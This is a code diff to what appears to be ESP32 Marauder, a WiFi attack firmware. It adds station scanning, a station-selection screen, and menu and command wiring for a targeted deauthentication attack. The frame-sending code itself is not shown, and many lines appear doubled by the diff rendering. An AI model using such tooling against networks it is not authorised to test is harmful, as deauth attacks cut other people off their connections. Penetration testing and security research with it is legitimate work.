 const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
 const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
 const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
 const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
@@ -87,13 +88,13 @@ const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
 const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
 const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
 
 
 // WiFi attack
 // WiFi attack
-const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-s <src mac>] [-d <dst mac>]/probe/rickroll>";
+const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
 
 
 // WiFi Aux
 // WiFi Aux
 const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
 const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
 const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
 const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
-const char PROGMEM HELP_SEL_CMD_A[] = "select -a <index (comma separated)>";
-const char PROGMEM HELP_SEL_CMD_B[] = "select -s <index (comma separated)>";
+const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
+const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
 const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
 const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
 const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
 const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
 
 

+ 138 - 74
esp32_marauder/MenuFunctions.cpp

@@ -213,34 +213,6 @@ MenuFunctions::MenuFunctions()
         }
         }
       }
       }
     }
     }
-  
-    /*
-    if (event == LV_EVENT_VALUE_CHANGED) {      
-      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
-        //Serial.print("Toggle on: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).essid == btn_text) {
-            Serial.println("Adding AP: " + (String)access_points->get(i).essid);
-            AccessPoint ap = access_points->get(i);
-            ap.selected = true;
-            access_points->set(i, ap);
-          }
-        }
-      }
-      else {
-        //Serial.print("Toggle off: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).essid == btn_text) {
-            Serial.println("Removing AP: " + (String)access_points->get(i).essid);
-            AccessPoint ap = access_points->get(i);
-            ap.selected = false;
-            access_points->set(i, ap);
-          }
-        }
-      }
-    }*/
   }
   }
   
   
   void MenuFunctions::displaySettingsGFX(){
   void MenuFunctions::displaySettingsGFX(){
@@ -273,35 +245,119 @@ MenuFunctions::MenuFunctions()
       list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
       list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
       lv_btn_set_checkable(list_btn, false);
       lv_btn_set_checkable(list_btn, false);
       lv_obj_set_event_cb(list_btn, settings_list_cb);
       lv_obj_set_event_cb(list_btn, settings_list_cb);
+    }
+  }
+
+  // GFX Function to build a list showing all Stations scanned
+  void MenuFunctions::addStationGFX(){
+    extern LinkedList<Station>* stations;
+    extern LinkedList<AccessPoint>* access_points;
+    extern WiFiScan wifi_scan_obj;
   
   
-      //lv_list_add_text(list1, buf);
-  
-      // Create the dropdown menu
-      /*lv_obj_t * dd = lv_dropdown_create(list1, NULL);
-      lv_dropdown_set_options(dd, "Apple\n"
-                                  "Banana\n"
-                                  "Orange\n"
-                                  "Cherry\n"
-                                  "Grape\n"
-                                  "Raspberry\n"
-                                  "Melon\n"
-                                  "Orange\n"
-                                  "Lemon\n"
-                                  "Nuts");
-  
-      //lv_obj_align(dd, LV_ALIGN_IN_RIGHT_MID, 0, 20);
-      lv_obj_align(dd, NULL, LV_ALIGN_IN_RIGHT_MID, 0, 0);
-      lv_obj_set_width(dd, LV_HOR_RES / 3);
-      lv_obj_set_event_cb(dd, setting_dropdown_cb);
-      //lv_obj_add_event_cb(dd, setting_dropdown_cb, LV_EVENT_ALL, NULL);*/
+    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+    lv_obj_set_size(list1, 160, 200);
+    lv_obj_set_width(list1, LV_HOR_RES);
+    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+  
+    lv_obj_t * list_btn;
+  
+    lv_obj_t * label;
+  
+    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+    lv_obj_set_event_cb(list_btn, station_list_cb);
+
+    char addr[] = "00:00:00:00:00:00";
+    for (int x = 0; x < access_points->size(); x++) {
+      AccessPoint cur_ap = access_points->get(x);
+
+      // Add non clickable button for AP
+      String full_label = "AP: " + cur_ap.essid;
+      char buf[full_label.length() + 1] = {};
+      full_label.toCharArray(buf, full_label.length() + 1);
+      list_btn = lv_list_add_btn(list1, NULL, buf);
+      lv_btn_set_checkable(list_btn, false);
       
       
-      //if (access_points->get(i).selected)
-      //  lv_btn_toggle(list_btn);
+      int cur_ap_sta_len = access_points->get(x).stations->size();
+      for (int y = 0; y < cur_ap_sta_len; y++) {
+        Station cur_sta = stations->get(cur_ap.stations->get(y));
+        // Convert uint8_t MAC to char array
+        wifi_scan_obj.getMAC(addr, cur_sta.mac, 0);
+        
+        //char buf[stations->get(i).mac.length() + 1] = {};
+        //stations->get(i).mac.toCharArray(buf, stations->get(i).mac.length() + 1);
+        
+        list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, addr);
+        lv_btn_set_checkable(list_btn, true);
+        lv_obj_set_event_cb(list_btn, station_list_cb);
+    
+        if (cur_sta.selected)
+          lv_btn_toggle(list_btn);
+      }
+    }
+  }
+
+  // Function to work with list of Stations
+  void station_list_cb(lv_obj_t * btn, lv_event_t event) {
+    extern LinkedList<Station>* stations;
+    extern MenuFunctions menu_function_obj;
+    extern WiFiScan wifi_scan_obj;
+  
+    String btn_text = lv_list_get_btn_text(btn);
+    String display_string = "";
+    char addr[] = "00:00:00:00:00:00";
+    
+    if (event == LV_EVENT_CLICKED) {
+      if (btn_text != text09) {
+        //lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
+      }
+      else {
+        Serial.println("Exiting...");
+        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
   
   
-      //lv_obj_t * btn1 = lv_btn_create(list_btn, NULL);
-      //lv_obj_set_event_cb(btn1, ap_list_cb);
-      //lv_obj_align(btn1, NULL, LV_ALIGN_CENTER, 0, 0);
-      //lv_btn_set_checkable(btn1, true);
+        for (int i = 0; i < stations->size(); i++) {
+          if (stations->get(i).selected) {
+            wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
+            Serial.print("Selected: ");
+            Serial.println(addr);
+          }
+        }
+  
+        printf("LV_EVENT_CANCEL\n");
+        menu_function_obj.deinitLVGL();
+        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+        display_obj.exit_draw = true; // set everything back to normal
+      }
+    }
+    
+    if (event == LV_EVENT_VALUE_CHANGED) {     
+      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
+        //Serial.print("Toggle on: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < stations->size(); i++) {
+          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
+          if (strcmp(addr, btn_text.c_str()) == 0) {
+            Serial.print("Adding Station: ");
+            Serial.println(addr);
+            Station sta = stations->get(i);
+            sta.selected = true;
+            stations->set(i, sta);
+          }
+        }
+      }
+      else {
+        //Serial.print("Toggle off: ");
+        //Serial.println(btn_text);
+        for (int i = 0; i < stations->size(); i++) {
+          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
+          if (strcmp(addr, btn_text.c_str()) == 0) {
+            Serial.print("Removing Station: ");
+            Serial.println(addr);
+            Station sta = stations->get(i);
+            sta.selected = false;
+            stations->set(i, sta);
+          }
+        }
+      }
     }
     }
   }
   }
   
   
@@ -331,14 +387,6 @@ MenuFunctions::MenuFunctions()
   
   
       if (access_points->get(i).selected)
       if (access_points->get(i).selected)
         lv_btn_toggle(list_btn);
         lv_btn_toggle(list_btn);
-  
-      //lv_obj_t * btn1 = lv_btn_create(list_btn, NULL);
-      //lv_obj_set_event_cb(btn1, ap_list_cb);
-      //lv_obj_align(btn1, NULL, LV_ALIGN_CENTER, 0, 0);
-      //lv_btn_set_checkable(btn1, true);
-  
-      //label = lv_label_create(btn1, NULL);
-      //lv_label_set_text(label, buf);
     }
     }
   }
   }
   
   
@@ -841,6 +889,7 @@ void MenuFunctions::main(uint32_t currentTime)
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
     display_obj.displayBuffer();
     display_obj.displayBuffer();
@@ -850,7 +899,6 @@ void MenuFunctions::main(uint32_t currentTime)
   int pre_getTouch = millis();
   int pre_getTouch = millis();
 
 
   // getTouch causes a 10ms delay which makes beacon spam less effective
   // getTouch causes a 10ms delay which makes beacon spam less effective
-  //if (wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF)
   #ifndef MARAUDER_MINI
   #ifndef MARAUDER_MINI
     pressed = display_obj.tft.getTouch(&t_x, &t_y);
     pressed = display_obj.tft.getTouch(&t_x, &t_y);
   #endif
   #endif
@@ -867,6 +915,7 @@ void MenuFunctions::main(uint32_t currentTime)
       // Stop the current scan
       // Stop the current scan
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
@@ -879,13 +928,13 @@ void MenuFunctions::main(uint32_t currentTime)
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
           (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
           (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
           (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
           (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
       {
       {
-        //Serial.println("Stopping scan...");
         wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
         wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
   
   
         // If we don't do this, the text and button coordinates will be off
         // If we don't do this, the text and button coordinates will be off
@@ -915,6 +964,7 @@ void MenuFunctions::main(uint32_t currentTime)
       // Stop the current scan
       // Stop the current scan
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
       if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
@@ -927,6 +977,7 @@ void MenuFunctions::main(uint32_t currentTime)
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
           (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
@@ -936,7 +987,6 @@ void MenuFunctions::main(uint32_t currentTime)
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
           (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
           (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
           (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
       {
       {
-        //Serial.println("Stopping scan...");
         wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
         wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
   
   
         // If we don't do this, the text and button coordinates will be off
         // If we don't do this, the text and button coordinates will be off
@@ -963,9 +1013,9 @@ void MenuFunctions::main(uint32_t currentTime)
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
         (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
-        //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
     {
     {
       // Need this to set all keys to false
       // Need this to set all keys to false
       for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) {
       for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) {
@@ -980,8 +1030,6 @@ void MenuFunctions::main(uint32_t currentTime)
       for (uint8_t b = 0; b < current_menu->list->size(); b++) {
       for (uint8_t b = 0; b < current_menu->list->size(); b++) {
         display_obj.tft.setFreeFont(MENU_FONT);
         display_obj.tft.setFreeFont(MENU_FONT);
         if (display_obj.key[b].justPressed()) {
         if (display_obj.key[b].justPressed()) {
-          //display_obj.key[b].drawButton2(current_menu->list->get(b).name, true);  // draw invert
-          //display_obj.key[b].drawButton(ML_DATUM, BUTTON_PADDING, current_menu->list->get(b).name, true);
           display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
           display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
           if (current_menu->list->get(b).name != text09)
           if (current_menu->list->get(b).name != text09)
             display_obj.tft.drawXBitmap(0,
             display_obj.tft.drawXBitmap(0,
@@ -992,14 +1040,10 @@ void MenuFunctions::main(uint32_t currentTime)
                                         current_menu->list->get(b).color,
                                         current_menu->list->get(b).color,
                                         TFT_BLACK);
                                         TFT_BLACK);
         }
         }
-        //else if (pressed)
-        //  display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
   
   
         // If button was just release, execute the button's function
         // If button was just release, execute the button's function
         if ((display_obj.key[b].justReleased()) && (!pressed))
         if ((display_obj.key[b].justReleased()) && (!pressed))
         {
         {
-          //display_obj.key[b].drawButton2(current_menu->list->get(b).name);     // draw normal
-          //display_obj.key[b].drawButton(ML_DATUM, BUTTON_PADDING, current_menu->list->get(b).name);
           display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
           display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
           current_menu->list->get(b).callable();
           current_menu->list->get(b).callable();
         }
         }
@@ -1565,11 +1609,11 @@ void MenuFunctions::RunSetup()
     this->drawStatusBar();
     this->drawStatusBar();
     wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
     wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
   });
   });
-  addNodes(&wifiSnifferMenu, text_table1[48], TFT_ORANGE, NULL, ESPRESSIF, [this]() {
+  /*addNodes(&wifiSnifferMenu, text_table1[48], TFT_ORANGE, NULL, ESPRESSIF, [this]() {
     display_obj.clearScreen();
     display_obj.clearScreen();
     this->drawStatusBar();
     this->drawStatusBar();
     wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
     wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
-  });
+  });*/
   addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
   addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
     display_obj.clearScreen();
     display_obj.clearScreen();
     this->drawStatusBar();
     this->drawStatusBar();
@@ -1580,6 +1624,11 @@ void MenuFunctions::RunSetup()
     this->drawStatusBar();
     this->drawStatusBar();
     wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
     wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
   });
   });
+  addNodes(&wifiSnifferMenu, text_table1[59], TFT_ORANGE, NULL, PACKET_MONITOR, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_WHITE);
+  });
 
 
   // Build WiFi attack menu
   // Build WiFi attack menu
   wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
   wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
@@ -1616,6 +1665,11 @@ void MenuFunctions::RunSetup()
     this->drawStatusBar();
     this->drawStatusBar();
     wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
     wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
   });
   });
+  addNodes(&wifiAttackMenu, text_table1[62], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
+  });
   //addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
   //addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
   //  display_obj.clearScreen();
   //  display_obj.clearScreen();
   //  this->drawStatusBar();
   //  this->drawStatusBar();
@@ -1659,6 +1713,10 @@ void MenuFunctions::RunSetup()
     changeMenu(&clearAPsMenu);
     changeMenu(&clearAPsMenu);
     wifi_scan_obj.RunClearAPs();
     wifi_scan_obj.RunClearAPs();
   });
   });
+  addNodes(&wifiGeneralMenu, text_table1[60], TFT_BLUE, NULL, CLEAR_ICO, [this]() {
+    changeMenu(&clearAPsMenu);
+    wifi_scan_obj.RunClearStations();
+  });
   #ifndef MARAUDER_MINI
   #ifndef MARAUDER_MINI
     // Select APs on OG
     // Select APs on OG
     addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
     addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
@@ -1667,6 +1725,12 @@ void MenuFunctions::RunSetup()
       wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
       wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
       addAPGFX();
       addAPGFX();
     });
     });
+    addNodes(&wifiGeneralMenu, text_table1[61], TFT_LIGHTGREY, NULL, KEYBOARD_ICO, [this](){
+      display_obj.clearScreen(); 
+      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
+      addStationGFX();
+    });
   #else
   #else
     // Select APs on Mini
     // Select APs on Mini
     addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
     addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){

+ 4 - 2
esp32_marauder/MenuFunctions.h

@@ -93,6 +93,7 @@ PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_even
 PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 
 
@@ -167,8 +168,6 @@ class MenuFunctions
     Menu shutdownWiFiMenu;
     Menu shutdownWiFiMenu;
     Menu shutdownBLEMenu;
     Menu shutdownBLEMenu;
     Menu generateSSIDsMenu;
     Menu generateSSIDsMenu;
-    Menu clearSSIDsMenu;
-    Menu clearAPsMenu;
 
 
     static void lv_tick_handler();
     static void lv_tick_handler();
 
 
@@ -192,6 +191,8 @@ class MenuFunctions
     MenuFunctions();
     MenuFunctions();
 
 
     Menu* current_menu;
     Menu* current_menu;
+    Menu clearSSIDsMenu;
+    Menu clearAPsMenu;
 
 
     Ticker tick;
     Ticker tick;
 
 
@@ -205,6 +206,7 @@ class MenuFunctions
     void joinWiFiGFX();
     void joinWiFiGFX();
     void addSSIDGFX();
     void addSSIDGFX();
     void addAPGFX();
     void addAPGFX();
+    void addStationGFX();
     void displaySettingsGFX();
     void displaySettingsGFX();
     void writeBadUSB();
     void writeBadUSB();
 
 

+ 343 - 19
esp32_marauder/WiFiScan.cpp

@@ -8,6 +8,7 @@ int num_eapol = 0;
 
 
 LinkedList<ssid>* ssids;
 LinkedList<ssid>* ssids;
 LinkedList<AccessPoint>* access_points;
 LinkedList<AccessPoint>* access_points;
+LinkedList<Station>* stations;
 
 
 extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
 extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
     if (arg == 31337)
     if (arg == 31337)
@@ -133,6 +134,7 @@ void WiFiScan::RunSetup() {
     
     
   ssids = new LinkedList<ssid>();
   ssids = new LinkedList<ssid>();
   access_points = new LinkedList<AccessPoint>();
   access_points = new LinkedList<AccessPoint>();
+  stations = new LinkedList<Station>();
 
 
   #ifdef HAS_BT
   #ifdef HAS_BT
     NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
     NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
@@ -147,6 +149,18 @@ void WiFiScan::RunSetup() {
   this->initWiFi(1);
   this->initWiFi(1);
 }
 }
 
 
+int WiFiScan::clearStations() {
+  int num_cleared = stations->size();
+  stations->clear();
+  Serial.println("stations: " + (String)stations->size());
+
+  // Now clear stations list from APs
+  for (int i = 0; i < access_points->size(); i++)
+    access_points->get(i).stations->clear();
+    
+  return num_cleared;
+}
+
 int WiFiScan::clearAPs() {
 int WiFiScan::clearAPs() {
   int num_cleared = access_points->size();
   int num_cleared = access_points->size();
   access_points->clear();
   access_points->clear();
@@ -283,6 +297,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
     RunBeaconScan(scan_mode, color);
     RunBeaconScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
   else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
     RunRawScan(scan_mode, color);
     RunRawScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_STATION)
+    RunStationScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_TARGET_AP)
   else if (scan_mode == WIFI_SCAN_TARGET_AP)
     RunAPScan(scan_mode, color);
     RunAPScan(scan_mode, color);
   else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
   else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
@@ -308,6 +324,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
     this->startWiFiAttacks(scan_mode, color, text_table4[8]);
     this->startWiFiAttacks(scan_mode, color, text_table4[8]);
   else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
   else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
     this->startWiFiAttacks(scan_mode, color, text_table4[8]);
     this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
+    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
   else if (scan_mode == WIFI_ATTACK_AP_SPAM)
   else if (scan_mode == WIFI_ATTACK_AP_SPAM)
     this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
     this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
   else if (scan_mode == BT_SCAN_ALL) {
   else if (scan_mode == BT_SCAN_ALL) {
@@ -433,6 +451,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
   if ((currentScanMode == WIFI_SCAN_PROBE) ||
   if ((currentScanMode == WIFI_SCAN_PROBE) ||
   (currentScanMode == WIFI_SCAN_AP) ||
   (currentScanMode == WIFI_SCAN_AP) ||
   (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
   (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
   (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
   (currentScanMode == WIFI_SCAN_PWN) ||
   (currentScanMode == WIFI_SCAN_PWN) ||
